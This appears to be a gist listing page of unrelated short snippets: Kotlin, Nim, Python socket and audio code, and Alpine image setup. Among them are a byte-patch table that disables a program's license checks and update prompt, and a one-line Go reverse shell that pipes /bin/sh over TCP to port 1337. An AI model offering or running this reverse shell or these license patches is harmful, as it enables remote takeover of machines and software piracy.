Name | Offset | Original | Patched |
---|---|---|---|
Persistent License Check | 0x267CA | 0x00 | 0x01 |
Initial License Check | 0x26C4F | 0x38 | 0x08 |
0x26C50 | 0x00 | 0x01 | |
Software Update Prompt | 0x50AFA | 0x55 | 0xC3 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private var mPhotoUrl: String? = null | |
fun uploadClicked() { | |
if (mPhotoUrl != null) { | |
uploadPhoto(mPhotoUrl!!) | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private lateinit var mAdapter: RecyclerAdapter<Transaction> | |
override fun onCreate(savedInstanceState: Bundle?) { | |
super.onCreate(savedInstanceState) | |
mAdapter = RecyclerAdapter(R.layout.item_transaction) | |
} | |
fun updateTransactions() { | |
mAdapter.notifyDataSetChanged() | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo curl -i -s -k -X 'POST' -H 'User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.0.1; Nexus 5 Build/LRX22C)' -H 'Content-Type: application/x-www-form-urlencoded' \ | |
'http://mobile.maps.yandex.net/cellid_location/?clid=1866854&lac=-1&cellid=-1&operatorid=null&countrycode=null&signalstrength=-1&wifinetworks=000000000000:-65&app=ymetro' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding:utf-8 | |
''' | |
@author Gufeng Shen | |
@date 2018年10月27日 | |
''' | |
import struct | |
import os | |
import uuid |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Mutable variable | |
var a = "hello" | |
# Immutable variable | |
let a = "hello" | |
# Specify a type | |
var age: int | |
var name: string |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import socket | |
import os | |
print("Connecting...") | |
if os.path.exists("/tmp/python_unix_sockets_example"): | |
client = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM) | |
client.connect("/tmp/python_unix_sockets_example") | |
print("Ready.") | |
print("Ctrl-C to quit.") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import wave, array | |
# changed from https://stackoverflow.com/a/43163543/699934 | |
def make_stereo(file1, file2, output): | |
ifile1 = wave.open(file1) | |
ifile2 = wave.open(file2) | |
print(ifile1.getparams()) | |
# (1, 2, 44100, 2013900, 'NONE', 'not compressed') | |
(nchannels, sampwidth, framerate, nframes, comptype, compname) = ifile1.getparams() | |
assert ifile1.getparams() == ifile2.getparams() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wget http://dl-cdn.alpinelinux.org/alpine/v3.7/releases/armhf/alpine-uboot-3.7.0-armhf.tar.gz | |
wget http://dl-cdn.alpinelinux.org/alpine/v3.7/releases/armhf/alpine-minirootfs-3.7.0-armhf.tar.gz | |
qemu-img create -f raw sd.img 512M | |
sudo losetup /dev/loop0 sd.img | |
sudo kpartx -av /dev/loop0 | |
lsblk | |
sudo mkfs.ext4 /dev/mapper/loop0p1 | |
mount -t ext4 /dev/mapper/loop0p1 /mnt |
OlderNewer